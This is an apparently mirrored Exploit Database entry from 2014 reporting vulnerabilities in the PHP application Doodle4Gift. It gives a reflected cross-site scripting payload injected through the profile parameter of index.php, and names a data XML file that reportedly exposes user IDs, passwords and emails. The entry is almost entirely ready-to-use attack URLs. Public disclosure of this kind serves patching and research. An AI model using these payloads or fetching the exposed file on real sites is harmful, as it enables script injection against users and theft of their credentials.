Doodle4Gift – Multiple Vulnerabilities

• Exploit Database
• 117 阅读

• 作者： Dr.NaNo
  日期： 2014-01-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/31085/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  # Exploit Title :Doodle4Gift <= Multiple Vulnerabilities # Author:Dr.NaNo # Date:H-1435/3/18 - 2014/1/19 # Software Link :http://www.hotscripts.com/listing/doodle4gift/ # Software Link2:https://sites.google.com/site/doodle4gift/ # # #(1) Cross Site Scripting (XSS): # # #http://localhost/{path}/index.php?action=showprofile&profile=(XSS) # #http://localhost/{path}/index.php?action=showprofile&profile=<script>alert(&apos;Dr.nano&apos;)</script> # # # #(2) information disclosure: # # #http://localhost/{path}/data/doodle4gift.xml <= there are {Id,Password,Email} :) # # # #A special gift for: (P0c Team),(V4-Team):إهداءً خاصاً لـ # #